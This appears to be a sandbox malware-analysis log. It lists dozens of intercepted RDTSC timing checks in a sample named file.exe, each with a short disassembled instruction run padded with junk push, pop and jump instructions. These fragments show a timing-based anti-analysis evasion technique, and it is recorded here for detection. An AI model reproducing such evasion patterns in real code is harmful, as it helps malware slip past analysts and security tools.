Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D3A7C second address: 10D3A80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D3A80 second address: 10D3A84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D7EE2 second address: 10D7EED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DBA5C second address: 10DBA84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBD38EF6172h 0x00000007 jmp 00007FBD38EF616Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f push edi 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DFC03 second address: 10DFC1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBD3971C782h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DFF1D second address: 10DFF23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EA404 second address: 10EA41D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBD3971C781h 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E8FF0 second address: 10E8FF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E8FF4 second address: 10E900E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FBD3971C780h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E979E second address: 10E97AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007FBD38EF6166h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E97AB second address: 10E97BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push ecx 0x0000000a ja 00007FBD3971C77Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E97BD second address: 10E97CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnl 00007FBD38EF6166h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E994A second address: 10E9952 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9952 second address: 10E995C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FBD38EF6166h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E995C second address: 10E997D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FBD3971C789h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9F12 second address: 10E9F55 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FBD38EF616Eh 0x00000008 jnc 00007FBD38EF6166h 0x0000000e pop esi 0x0000000f jmp 00007FBD38EF616Ch 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FBD38EF6177h 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9F55 second address: 10E9F5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9F5E second address: 10E9F65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9F65 second address: 10E9F6F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FBD3971C77Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EA0C1 second address: 10EA0C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EA0C6 second address: 10EA0E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBD3971C786h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE8BF second address: 10EE8C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EEFFD second address: 10EF007 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FBD3971C776h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EF13B second address: 10EF148 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 jbe 00007FBD38EF6166h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108824B second address: 1088255 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FBD3971C776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1088255 second address: 108825B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108825B second address: 108825F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE30E second address: 10EE313 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE313 second address: 10EE31B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F534E second address: 10F535B instructions: 0x00000000 rdtsc 0x00000002 jo 00007FBD38EF6166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F4077 second address: 10F407B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F407B second address: 10F4084 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F434C second address: 10F4357 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FBD3971C776h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F4357 second address: 10F436A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FBD38EF6166h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007FBD38EF6166h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F4670 second address: 10F4674 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F4674 second address: 10F467A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F3D82 second address: 10F3D86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F4A7B second address: 10F4AA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBD38EF616Dh 0x00000007 ja 00007FBD38EF6166h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FBD38EF6173h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F4AA9 second address: 10F4AB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F4BE3 second address: 10F4BF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FBD38EF616Bh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F4BF4 second address: 10F4C13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jns 00007FBD3971C77Ah 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jo 00007FBD3971C792h 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F4D85 second address: 10F4D96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FBD38EF616Bh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F84C8 second address: 10F84D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F84D9 second address: 10F850E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FBD38EF6171h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FBD38EF6176h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F850E second address: 10F8512 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FD686 second address: 10FD68A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC568 second address: 10FC571 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC571 second address: 10FC579 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C49F3 second address: 10A4067 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FBD3971C778h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007FBD3971C778h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 xor dword ptr [ebp+1247D1A6h], ebx 0x0000002f mov dword ptr [ebp+122D1B2Ch], ebx 0x00000035 call dword ptr [ebp+122D2AD3h] 0x0000003b jnp 00007FBD3971C7A5h 0x00000041 push eax 0x00000042 push edx 0x00000043 js 00007FBD3971C77Ch 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C4B8D second address: 10C4B97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FBD38EF6166h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C4FB1 second address: 10C4FB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C4FB5 second address: 10C4FD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FBD38EF6177h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C4FD6 second address: 10C4FDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C56BF second address: 10C56C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FBD38EF6166h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C56C9 second address: 10C5717 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FBD3971C776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d jmp 00007FBD3971C788h 0x00000012 push 0000001Eh 0x00000014 mov ecx, dword ptr [ebp+1247DCEEh] 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jp 00007FBD3971C78Eh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C585E second address: 10C5865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C5A29 second address: 10C5A3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBD3971C77Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C5A3D second address: 10C5A72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBD38EF616Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a nop 0x0000000b sbb edx, 6B76CCFDh 0x00000011 mov edx, dword ptr [ebp+12463392h] 0x00000017 lea eax, dword ptr [ebp+12486761h] 0x0000001d mov ecx, dword ptr [ebp+122D35BAh] 0x00000023 mov dl, 0Fh 0x00000025 nop 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 ja 00007FBD38EF6166h 0x0000002f pop eax 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C5A72 second address: 10C5AC2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jg 00007FBD3971C787h 0x0000000f jmp 00007FBD3971C781h 0x00000014 nop 0x00000015 add di, E6EBh 0x0000001a lea eax, dword ptr [ebp+1248671Dh] 0x00000020 push 00000000h 0x00000022 push eax 0x00000023 call 00007FBD3971C778h 0x00000028 pop eax 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d add dword ptr [esp+04h], 00000016h 0x00000035 inc eax 0x00000036 push eax 0x00000037 ret 0x00000038 pop eax 0x00000039 ret 0x0000003a push eax 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C5AC2 second address: 10C5AC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C5AC6 second address: 10A4B28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a call dword ptr [ebp+122D2BBCh] 0x00000010 jmp 00007FBD3971C77Eh 0x00000015 push edi 0x00000016 pushad 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC865 second address: 10FC87F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBD38EF616Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC87F second address: 10FC89D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007FBD3971C778h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push ebx 0x00000015 js 00007FBD3971C776h 0x0000001b pushad 0x0000001c popad 0x0000001d pop ebx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC9D7 second address: 10FC9DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC9DC second address: 10FC9FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBD3971C789h 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007FBD3971C776h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FCB21 second address: 10FCB27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FCB27 second address: 10FCB2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FCB2B second address: 10FCB2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FCB2F second address: 10FCB35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FCB35 second address: 10FCB53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007FBD38EF6176h 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FD280 second address: 10FD284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FD284 second address: 10FD28C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1101086 second address: 110108D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10729D4 second address: 10729DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10729DB second address: 1072A0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBD3971C789h 0x00000007 pushad 0x00000008 jmp 00007FBD3971C784h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11045AE second address: 11045B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1107871 second address: 1107877 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10867C3 second address: 10867D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBD38EF616Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10867D1 second address: 10867F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007FBD3971C786h 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11073C4 second address: 11073C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11073C8 second address: 11073D2 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FBD3971C776h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11073D2 second address: 11073EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push edi 0x0000000a pop edi 0x0000000b jmp 00007FBD38EF616Ah 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11073EC second address: 11073F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11073F0 second address: 11073F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11073F4 second address: 1107422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FBD3971C776h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d je 00007FBD3971C79Dh 0x00000013 jmp 00007FBD3971C781h 0x00000018 push eax 0x00000019 push edx 0x0000001a je 00007FBD3971C776h 0x00000020 push edx 0x00000021 pop edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1107422 second address: 1107428 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D3CF second address: 110D3F8 instructions: 0x00000000 rdtsc 0x00000002 js 00007FBD3971C77Ch 0x00000008 je 00007FBD3971C776h 0x0000000e push eax 0x0000000f jmp 00007FBD3971C780h 0x00000014 pushad 0x00000015 popad 0x00000016 pop eax 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D3F8 second address: 110D3FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D3FE second address: 110D40C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FBD3971C776h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D40C second address: 110D420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FBD38EF616Dh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D420 second address: 110D42A instructions: 0x00000000 rdtsc 0x00000002 jp 00007FBD3971C77Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D58F second address: 110D598 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D598 second address: 110D59C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D59C second address: 110D5B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FBD38EF616Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D834 second address: 110D83A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
